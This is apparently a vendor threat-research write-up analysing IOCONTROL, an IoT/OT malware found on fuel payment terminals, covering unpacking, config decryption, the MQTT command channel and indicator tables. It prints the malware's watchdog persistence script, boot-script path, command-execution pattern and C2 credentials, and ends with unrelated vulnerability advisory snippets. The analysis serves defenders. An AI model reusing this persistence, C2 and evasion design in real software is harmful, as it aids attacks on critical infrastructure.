Team82 obtained a sample of a custom-built IoT/OT malware called IOCONTROL used by Iran-affiliated attackers to attack Israel- and U.S.-based OT/IoT devices.
IOCONTROL has been used to attack IoT and SCADA/OT devices of various types including IP cameras, routers, PLCs, HMIs, firewalls, and more. Some of the affected vendors include: Baicells, D-Link, Hikvision, Red Lion, Orpak, Phoenix Contact, Teltonika, Unitronics, and others.
We’ve assessed that IOCONTROL is a cyberweapon used by a nation-state to attack civilian critical infrastructure.
Our analysis of IOCONTROL includes an in-depth look at the malware’s capabilities and unique communication channels to the attackers’ command-and-control infrastructure.
IOCONTROL is believed to be part of a global cyber operation against western IoT and operational technology (OT) devices. Affected devices include routers, programmable logic controllers (PLCs), human-machine interfaces (HMIs), firewalls, and other Linux-based IoT/OT platforms. While the malware is believed to be custom-built by the threat actor, it seems that the malware is generic enough that it is able to run on a variety of platforms from different vendors due to its modular configuration.
Team82 has analyzed a malware sample extracted from a fuel management system that was allegedly compromised by a threat actor group linked to Iran known as the CyberAv3ngers, which is also believed to be responsible for the Unitronics attack last fall.
One particular IOCONTROL attack wave involved the compromise of several hundred Israel-made Orpak Systems and U.S.-made Gasboy fuel management systems in Israel and the United States. The malware is essentially custom built for IoT devices but also has a direct impact on OT such as the fuel pumps that are heavily used in gas stations.
The attacks are another extension of the geopolitical conflict between Israel and Iran. The so-called CyberAv3ngers are believed to be part of the Islamic Revolutionary Guard Corps Cyber Electronic Command (IRGC-CEC) and have been vocal on Telegram sharing screenshots, and other information about the compromises of these fuel systems.
In February, the U.S. Department of the Treasury announced sanctions against six IRGC-CEC officials linked to the CyberAv3ngers and offered a $10 million USD bounty for information leading to the identification or location of anyone involved in the attacks.
Our analysis of the sample we obtained from VirusTotal (21 detections as of Dec. 10 2024, after a period of time when there were still zero detections as of September 2024) concludes that the malware is essentially a cyberweapon used by a nation-state to attack civilian critical infrastructure; at least one of the victims were the Orpak and Gasboy fuel management systems. For secure communication between compromised devices and the attackers, IOCONTROL leverages the MQTT protocol as a dedicated IoT communication channel. The attackers were able to disguise traffic over MQTT to and from the attackers’ command-and-control infrastructure.
The CyberAv3ngers, meanwhile, have implicitly stated they will continue to target Israel-made technology in critical infrastructure. In October 2023, water treatment facilities in the U.S. and Israel were attacked by the group. Integrated Unitronics Vision series PLC/HMI devices were targeted inside these facilities; the attacks resulted in the defacement of these OT devices. The attacks were likely projections of power from the CyberAv3ngers, demonstrating their access to the devices and hoping to instill fear regarding the quality of water in affected areas.
Around the same time of the attacks against water facilities, the CyberAv3ngers published on Telegram claims it had attacked 200 gas stations in Israel and the U.S., specifically targeting Orpak systems. The attackers released screenshots of the main management portal of the attacked gas stations, as well as databases of information about their targets and leaked data.
Following up on the CyberAv3ngers’ claim of compromising Orpak systems, we found WHOIS records indicating registration of a domain name tylarion867mino[.]com on Nov. 23, 2023.
This domain would be used by the attackers to set up a command-and-control infrastructure in order to manage all the compromised devices.
In December 2023, an Israeli-associated hacking group called Gonjeshke Darande claimed to have attacked and compromised 70% of Iran’s gas stations, claiming it was “in response to the aggression of the Islamic Republic and its proxies in the region.”
While the reports about these attacks by CyberAv3ngers against Orpak devices span from mid-October 2023 to late January 2024, our team obtained a publicly available sample of IOCONTROL from VirusTotal, indicating the group relaunched their targeted campaign in July and August.
Our research blog presents our analysis of the attack against multiple IoT/OT devices, including Orpak and Gasboy devices. In addition we will analyze the IOCONTROL malware used in the attacks, and the attacker’s command and control infrastructure, and communications over the MQTT protocol.
The sample we were able to obtain was extracted from a Gasboy fuel control system which has close ties with Orpak Systems. It is yet unclear the method used to deploy the malware on the affected victim systems.
Fuel control systems are complex platforms that consist of multiple subsystems including an outdoor payment terminal, printer (for receipts), pump and nozzle control, and additional peripherals such as management and billing software.
IOCONTROL was hiding inside Gasboy's Payment Terminal, called OrPT. An attacker with full control over the payment terminal means they had the ability to shut down fuel services and potentially steal credit card information from customers.
The IOCONTROL sample we analyzed targeted Orpak Fuel system devices. The hash of this sample is: 1b39f9b2b96a6586c4a11ab2fdbff8fdf16ba5a0ac7603149023d73f33b84498. The sample included an internal GUID value used to identify a victim entity: 855958ce-6483-4953-8c18-3f9625d88c27. The sample we analyzed was compiled specifically for ARM-32 bit Big Endian architecture systems.
Observing the malware sample in VirusTotal, there were zero detections in September in all of its sandbox engines; as of Dec. 10, there are 21.
Knowing this made us extra cautious when handling the malware and analyzing its internals. We decided to start analyzing the malware using a static analysis approach. This approach led us to the conclusion that an in-memory unpacking procedure ran when the malware was executed.
Static analysis took far too long and too much effort, therefore we decided to pivot our efforts toward dynamic analysis of the malware sample. This meant we were going to have to execute the malware sample safely and debug it.
The approach we took to execute and unpack the malware executable was emulation, specifically using the Python-based Unicorn CPU emulation engine.
We decided to go in this path because of two reasons:
The malware sample was written for an archaic ARM 32-bit BE CPU architecture, which made emulation the best candidate for a solution to execute and unpack the malware sample.
We needed to find a way to execute the malware in a safe and controlled environment that would not potentially infect our setup or perform malicious activity on our systems.
Unicorn gave us more granular control over the emulation than other engines such as QEMU; it not only allowed us to carefully inspect the malware execution flow, but also allowed us to have full control over the capabilities of the malware with regards to syscall invocations and OS interactions.
Emulating the sample was a gradual process in which we closely inspected the execution flow of the malware. This included tracing the executed code and saving memory mappings along each emulation round. In the beginning, each round of emulation was terminated abruptly, shortly after initiating the execution of the sample. This was caused most often upon an attempt to invoke a syscall for OS interaction by the malware. Unicorn provides the capability to execute emulated CPU instructions in various architectures and variations. Yet it doesn’t facilitate specific OS infrastructure such as syscall implementations of specific operating systems such as Linux or Windows.
Each time we encountered a specific syscall invocation attempt, we tried to understand its purpose and implemented our own version of the syscall that enabled the execution to continue together with ensuring the interaction is safe and will not harm our testing environment.
For example, when the executable invokes the open and read syscalls to read a file from the filesystem, our instruction-execution hook will trigger and handle these calls. In this case, when an open syscall is invoked, our hook returns a fake fd value to identify the requested file. When triggered on a read syscall, we supply our own defined content we control. Doing so allows us to have fine grained access to the malware code flow.
The in-memory unpacking procedure was done in two stages during the malware execution. The first stage consisted of unpacking utility code routines into a newly mapped memory segment. The second stage consisted of unpacking the artifacts of the malware, which were the main executable module and the configuration of the malware into an appropriate memory location.
During one of our emulation iterations, our execution flow started to execute on a newly mapped memory segment. This meant that this memory segment had an unpacked artifact. Inspecting a memory snapshot of that segment led to our speculation that the malware was using an open-source packer solution called UPX that may have been modified specifically for this malware sample. The triggering element leading to this suspicion was a byte sequence left by the malware developers untouched in an unpacked artifact of the malware: “!XPU” which is the little endian version of “UPX!”. This misstep by the attackers helped us to quickly identify UPX as the packer.
Just for the sake of research after we had the unpacked version of the malware, we used the benign UPX tool to pack it and compared it to the original sample. We noticed some differences in locations where UPX-related features were supposed to be placed, such as the magic UPX! string of bytes which was changed to ABC!.
To further support this conclusion we compiled a version of UPX that ignores CRC checksum verification and patched the sample ABC byte sequences with UPX byte sequences, allowing us to successfully unpack the malware sample.
Our assumption is that the attackers deployed the malware in that fashion because they were trying to evade detection and hide their malicious implant and configuration in a stable and quick way. This was apparently somewhat effective with regard to staying undetected by automated detection engines, but wasn’t very sophisticated.
After unpacking the malware successfully, we were left with two artifacts: an encrypted data section and an executable. When examining the executable in IDA, we noticed that in many different locations in the code, it uses data from the encrypted section, using it for different operations such as a path for a file, IP address to connect to, etc.
We managed to discover that this encrypted section was in fact the encrypted configuration of the malware. Each encrypted configuration entry is composed of 150 bytes: 1 byte of length (the length of the encrypted data, up to 149), and up to 149 bytes of encrypted data.
In order to decrypt the configuration of the malware, it uses a decryption function, which receives an index specifying which configuration it wants decrypted from a list. This technique allows minimizing the possibility of extracting decrypted configuration entries from the process memory during the malware runtime.
In this decryption function, the malware fetches the first byte from the encrypted configuration entry. This value is used to tell how long that specific encrypted configuration entry is, after reading the encrypted entry raw bytes, the malware uses AES-256-CBC decryption scheme to extract the actual configuration entry.
Prior to decryption, the malware extracts the key and IV pair from a GUID stored in one of its strings, which the malware uses for many purposes. The extracted key and IV are used for decryption and get stored in environment variables 0_0 and 0_1 respectively.
As we can see, the malware takes the GUID stored in its memory (855958ce-6483-4953-8c18-3f9625d88c27), and uses SHA256 to hash it. The key for the AES-256-CBC encryption is simply the hash of the GUID (22e70a3056aa209e90dc5a354edda2c1c3b88f1e4720dc6a090c4617a919447e) as a hex string. This is probably a mistake by the attackers, who got confused, since AES-256 uses a 32-byte size for its keys, however they used a 64-hex-string instead. Because the given key is bigger than the key size, only the first 32 bytes will actually be used by the AES-256-CBC process. The IV used for encryption is a substring from that hash (from index 31 to index 63). Once again the IV is too long, so only the first 16 bytes are used.
Our assumption is that the attackers are using unique GUIDs which get inserted by binary patching malware samples to distinguish between different victims and/or campaigns. This is further supported by the fact that the malware derives most of its parameters from the seed GUID which can be easily changed without recompiling the malware by binary patching the string. Furthermore, the malware uses IoT vendor identifiers. For example, in our sample we noticed the name Orpak in the decrypted configuration which identifies the vendor manufacturing the embedded device that was attacked.
To summarize, here are the environment variables used by the malware, as well as how they are used and how they are generated:
Environment Variable | Value | Derived by | Used for |
GUID (not environment variable) | 855958ce-6483-4953-8c18-3f9625d88c27 | Hardcoded | Generating identifiers for the malware |
0_0 | 22e70a3056aa209e90dc5a354edda2c1c3b88f1e4720dc6a090c4617a919447e | SHA256(GUID) | AES-256-CBC key to decrypt the config |
0_1 | 1c3b88f1e4720dc6a090c4617a919447 | SHA256(GUID)[31:63] | AES-256-CBC key IV decrypt the config |
1 | 1.0.5 | Hardcoded | Malware version |
3 | 5958ce | GUID[2:8] | Value to tell the malware to self delete. Also used as MQTT username |
4 | 3-4953-8c18-3f9625 | GUID[12:30] | Also used as MQTT password |
After extracting the AES-256-CBC key and IV pair, we decrypted the entire encrypted section holding the various configuration entries, and examined each configuration entry the malware uses.
With the configurations in hand, we moved on to analyze the malware behavior. One thing that piqued our interest immediately was the DNS name stored in the first configuration:
uuokhhfsdlk[.]tylarion867mino[.]com.
At the time of writing this report, the domain C2 address is resolving to IP address 159[.]100[.]6[.]69.
Following the malware execution flow, we discovered that indeed this is the hostname used by the malware to communicate with its C2.
First, the malware uses Cloudflare’s servers to translate the hostname into an IP address. In order to evade detection, the malware does not use DNS to translate this hostname directly, instead it uses DNS over HTTPS (DoH) to translate it via CloudFlare’s API. This is a stealth technique used by malware to avoid being detected by sending a clear-text DNS request, showcasing which DNS names they communicate with. Instead, they used an encrypted protocol (HTTPS), meaning that even if a network tap exists, the traffic is encrypted so they won’t be discovered.
Below is a request to Cloudflare's servers, querying the attacker's C2 hostname:
~ curl --http2 --header "accept: application/dns-json"
"https://1.1.1.1/dns-query?name=uuokhhfsdlk[.]tylarion867mino[.]com"{
"Status": 0,
"TC": false,
"RD": true,
"RA": true,
"AD": false,
"CD": false,
"Question": [
{
"name": "uuokhhfsdlk[.]tylarion867mino[.]com",
"type": 1
}
],
"Answer": [
{
"name": "uuokhhfsdlk[.]tylarion867mino[.]com",
"type": 1,
"TTL": 300,
"data": "159[.]100[.]6[.]69"
}
]
}
Before connecting to the C2 infrastructure, the malware first installs a backdoor on the device in order to ensure its persistence. To do so, the malware adds a new rc3.d boot script, which will be executed whenever the device restarts. The backdoor is located in /etc/rc3.d/S93InitSystemd.sh, contains the following bash script:
trap "rm -f $iocpid" EXIT
while true; do
if ! pidof "iocontrol" > /dev/null; then
iocontrol >/dev/null 2>&1 &
fi
sleep 5
doneIn addition to this backdoor, the malware is stored under the name iocontrol in the /usr/bin directory.
After translating this hostname into IP address, the malware takes the second configuration parameter: 8883, and uses it as the port to connect to the C2. Port 8883 is usually used by the MQTTs communication protocol, and when examining the code further we indeed saw that the malware indeed communicates over this port.
The MQTT protocol is a publish-subscribe network protocol that transports messages between devices. It's designed for use in environments where network bandwidth is limited or unreliable, making it particularly well-suited for internet of things (IoT) applications. For these reasons, and for being a bit more stealthy, we believe the attackers decided to use the MQTT protocol for their C2 communications.
In order to connect, the malware uses MQTT 4.0, sending the C2 three different identifiers: Client ID, Username, Password. For the Client ID, the malware uses the GUID stored in its memory, the username is the environment variable 3 (derived from the GUID), and the password is the environment variable 4 (also derived from the GUID). Using these identifiers, the malware authenticates to the MQTT broker.
After connecting to the MQTT broker, the malware immediately publishes an “hello” message to the following topic: {GUID}/hello. This message informs the C2 of a new connection, and sends a lot of identification information about the infected device. In its hello message, the malware sends a JSON with this information:
{
"hostname": "HOSTNAME",
"current_user": "CURRENT_USER",
"device_name": "DEVICE_NAME",
"device_model": "DEVICE_MODEL",
"timezone": "TIMEZONE",
"firmware_version": "FIRMWARE_VERSION",
"geo_location": "GEO_LOCATION",
"version": "MALWARE_VERSION"
}In order to get this information (for example, the current user, hostname etc), the malware uses OS commands. In this process, the malware gets a handle to the libc library by calling dlopen with the parameter libc.so.6. Then, using this handle, the malware gets the pointer to the system function using dlsym, giving it the function name system, and lastly uses this pointer to execute the OS commands it needs.
For each OS command the malware executes, it constructs the following command:
OS_COMMAND > /tmp/{RANDOM_16_chars}.txt 2>&1
As part of the hello message, the malware executes the following OS commands in this order:
uname -v > /tmp/{RANDOM_16_chars}.txt 2>&1
hostname > /tmp/{RANDOM_16_chars}.txt 2>&1
whoami > /tmp/{RANDOM_16_chars}.txt 2>&1
date +%Z > /tmp/{RANDOM_16_chars}.txt 2>&1
uname -r > /tmp/{RANDOM_16_chars}.txt 2>&1 After sending the hello message, the malware subscribes to the MQTT topic {GUID}/push. Using this topic, the C2 sends the malware commands for execution, which the malware executes inside the callback routine that is called whenever a MQTT message is received.
In this routine, the malware parses the received message and extracts the command the malware has sent. Each command from the C2 is one of five different types, each identified by a different opcode:
Opcode | Command | Description |
0 | Send “hello” | Resend the MQTT hello message with basic device information |
1 | Check exec | Check that the malware is installed in /usr/bin/iocontrol and that it is executable, and publishes the string 1:1 |
2 | Execute command | Execute arbitrary OS command via system call and publishes the output |
3 | Self-delete | Stop the malware execution, as well as remove malware main binary, its persistence service, and related logs files. It then publishes the string 3:1 |
8 | Port scan | Scan an IP range in a specific port. The malware receives IP start, IP end and a port to scan. It then publishes the result. |
After finishing the command execution, the malware publishes the response using the {GUID}/output topic.
The malware’s C2 domain is uuokhhfsdlk[.]tylarion867mino[.]com, which resolved to 159[.]100[.]6[.]69
IOC | Country | Verdict | Description | Type |
|---|---|---|---|---|
159[.]100[.]6[.]69 | 🇩🇪 | Malicious | C2 from IOCONTROL. Services: MQTT 8883/TCP HTTP 15672/TCP | IP Address |
uuokhhfsdlk[.]tylarion867mino[.]com | Malicious | Domain found in IOCONTROL. Communication over MQTT on port 8883. | Domain | |
ocferda[.]com | Malicious | Older DNS records, from around 2023, show that the domain ocferda[.]com was in use and pointed to the same IP address of the C2 159[.]100[.]6[.]69 | Domain |
The C2 domain tylarion867mino[.]com was registered on Nov. 23rd, 2023. This domain was used by the attackers to set up a C2 infrastructure, allowing them to command and control all devices they infect.
The C2 domain address was resolved to 159[.]100[.]6[.]69 at the time of writing this report. This address was hosted in Germany and had MQTT services running on ports 1883 and 8883 and RabbitMQ Management Server running on port 15672. Communications to the C2 server on port 8883 can be either victims reporting to C2 or an operator accessing the server.
Older DNS records, from around 2023, show that the domain ocferda[.]com was in use and pointed to the same IP address of the C2 159[.]100[.]6[.]69.
Our analysis shows that the IOCONTROL malware is based on a generic OT/IoT malware framework for embedded Linux-based devices that is utilized and compiled against specific targets as needed. The malware communicates with a C2 over a secure MQTT channel and supports basic commands including arbitrary code execution, self-delete, port scan, and more. This functionality is enough to control remote IoT devices and perform lateral movement if needed.
In addition, IOCONTROL has a basic persistence mechanism over a daemon installation and stealth mechanism, for example the initial payload uses modified UPX packing and the malware uses DNS over HTTPS to hide its C2 infrastructure as much as possible.
This specific sample was extracted from a Gasboy/ORPAK device, which is a fuel system platform. However, IOCONTROL was used to attack IoT and SCADA devices of various types including IP cameras, routers, PLCs, HMIs, firewalls, and more from different vendors such as Baicells, D-Link, Hikvision, Red Lion, Orpak, Phoenix Contact, Teltonika, Unitronics, and others.
IOC | Description | Type |
|---|---|---|
159[.]100[.]6[.]69 | C2 from IOCONTROL. | IP Address |
uuokhhfsdlk[.]tylarion867mino[.]com | Domain found in IOCONTROL. Communication over MQTTs on port 8883. | Domain |
ocferda[.]com | Older DNS records, from around 2023, show that the domain ocferda[.]com was in use and pointed to the same IP address of the C2 159[.]100[.]6[.]69 | Domain |
1b39f9b2b96a6586c4a11ab2fdbff8fdf16ba5a0ac7603149023d73f33b84498 | IOCONTROL Initial sample Link to VT | Hash |
/usr/bin/iocontrol | Malware executable path | Path |
/etc/rc3.d/S93InitSystemd.sh | Malware service path | Path |
/tmp/iocontrol | Malware directory for temporary files | Path |
/var/run/iocontrol.pid | Malware current process PID file | Path |
Environment Variable | Value | Derived by | Used for |
GUID (not environment variable) | 855958ce-6483-4953-8c18-3f9625d88c27 | Hardcoded | Generating identifiers for the malware |
0_0 | 22e70a3056aa209e90dc5a354edda2c1c3b88f1e4720dc6a090c4617a919447e | SHA256(GUID) | AES-256-CBC key to decrypt the config |
0_1 | 1c3b88f1e4720dc6a090c4617a919447 | SHA256(GUID)[31:63] | AES-256-CBC key IV decrypt the config |
1 | 1.0.5 | Hardcoded | Malware version |
3 | 5958ce | GUID[2:8] | Value to tell the malware to self delete. Also used as MQTT username |
4 | 3-4953-8c18-3f9625 | GUID[12:30] | Also used as MQTT password |
ID | Data | Description |
0 | uuokhhfsdlk[.]tylarion867mino[.]com | C2 host (as of Sept 8th resolves to 159[.]100[.]6.69 Frankfurt, Germany) |
1 | 8883 | MQTT Secure port |
2 | XXFrxHMDI1CqmIN5 | Currently unknown - maybe previously used username |
3 | sCgcVpkXixEUTgEJqY708N5w2c42DssIEutp7ZIeNgt17G78iy | Currently unknown - maybe previously used password |
4 | /hello | MQTT topic to send device info |
5 | accept: application/dns-json | HTTP Header required by CloudFlare to make DNS over HTTPS (DoH) requests https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/make-api-requests/ |
6 | /output | MQTT topic to send command output |
7 | /push | MQTT Topic to receive commands |
8 | GET | HTTP method GET |
9 | POST | HTTP method POST |
10 | 1:01 | Reports that the binary is executable via MQTT |
11 | 3:01 | Report self-delete via MQTT |
12 | whoami | Command whoami |
13 | hostname | Command hostname |
14 | current_user | JSON key current_user |
15 | device_name | JSON key device_name |
16 | device_model | JSON key device_model |
17 | timezone | JSON key |
18 | firmware_version | JSON key firmware_version |
19 | geo_location | JSON key geo_location |
20 | output | JSON key output |
21 | params | JSON key params |
22 | code | JSON key code |
23 | ORPAK | Vendor name |
24 | data | Cloudflare DoH JSON response key data - where the IP is resolved {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"uuokhhfsdlk.tylarion867mino.com","type":1}],"Answer":[{"name":"uuokhhfsdlk[.]tylarion867mino[.]com","type":1,"TTL":300,"data":"159[.]100[.]6[.]69"}]} |
25 | Answer | Cloudflare DoH JSON response Answer data - the DNS response {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"uuokhhfsdlk[.]tylarion867mino[.]com","type":1}],"Answer":[{"name":"uuokhhfsdlk[.]tylarion867mino[.]com","type":1,"TTL":300,"data":"159[.]100[.]6[.]69"}]} |
26 | 1.1.1.1:443/dns-query?name= | URL to resolve DNS over HTTPS (DoH) https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/make-api-requests/ curl --http2 --header "accept: application/dns-json" "https://1.1.1.1/dns-query?name=google.com |
27 | /dev/urandom | Linux path to get random data |
28 | /tmp/ | Linux path for /tmp |
29 | .txt | Suffix .txt |
30 | 2>&1 | Linux bash syntax to redirect stderr to stdout |
31 | > /dev/null 2>&1 & | Linux bash syntax to redirect both stderr and stdout to /dev/null and run the entire process in the background |
32 | version | JSON key sent in MQTT hello |
33 | date +%Z | Command date |
34 | %Y/%m/%d %H:%M:%S | Date format |
35 | ptrace | ptrace function to debug |
36 | system | System function to execute code given a remote command |
37 | libc.so.6 | libc library |
38 | /tmp/iocontrol/ | Malware path for temporary files |
39 | /tmp/iocontrol.log | Malware log path |
40 | iocontrol | Malware name - iocontrol |
41 | /etc/rc3.d/S93InitSystemd.sh | Malware path for its daemon/service (persistency) - this will run the malware upon boot |
42 | uname -v | Command uname -v uname -v > /tmp/{RANDOM_16_chars}.txt 2>&1 |
43 | uname -r | Command uname -r |
44 | #!/bin/sh iocpid=/var/run/iocontrol.pid if [ -f "$iocpid" ] && kill -0 $(cat "$iocpid") 2>/dev/null; then exit 1 fi echo $$ > "$iocpid" | Bash script deployed by the malware to stop the running instance |
45 | /usr/bin/iocontrol | Malware full path location |
46 | /etc/rc3.d/ | Linux path for system daemons/services - this is where the init script for running the malware is located |
47 | trap "rm -f $iocpid" EXIT while true; do if ! pidof "iocontrol" > /dev/null; then iocontrol >/dev/null 2>&1 & fi sleep 5 done | Bash script deployed by the malware to make sure it’s running - watchdog |
CWE-120 BUFFER COPY WITHOUT CHECKING SIZE OF INPUT ('CLASSIC BUFFER OVERFLOW'):
A denial-of-service vulnerability exists in the affected product. The vulnerability results in a buffer overflow, potentially causing denial-of-service condition.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-122 HEAP-BASED BUFFER OVERFLOW:
A denial-of-service and possible remote code execution vulnerability exists in the affected product. The vulnerability results in the corruption of the heap memory, which may compromise the integrity of the system, potentially allowing for remote code execution or a denial-of-service attack.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-420 UNPROTECTED ALTERNATE CHANNEL:
A device takeover vulnerability exists in the affected product. This vulnerability allows configuration of a new Policyholder user without any authentication via API. Policyholder user is the most privileged user that can perform edit operations, creating admin users and performing factory reset.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-191 INTEGER UNDERFLOW (WRAP OR WRAPAROUND):
The affected product is vulnerable to an integer underflow. An unauthenticated attacker could send a malformed HTTP Requesty, which could allow the attacker to crash the program.
Planet Technology recommends users upgrade to version 1.305b241111 or later.
CVSS v3: 5.3
CWE-78 IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN OS COMMAND ('OS COMMAND INJECTION'):
The affected product is vulnerable to a command injection. An unauthenticated attacker could send commands through a malicious HTTP request which could result in remote code execution.
Planet Technology recommends users upgrade to version 1.305b241111 or later.
CVSS v3: 9.8
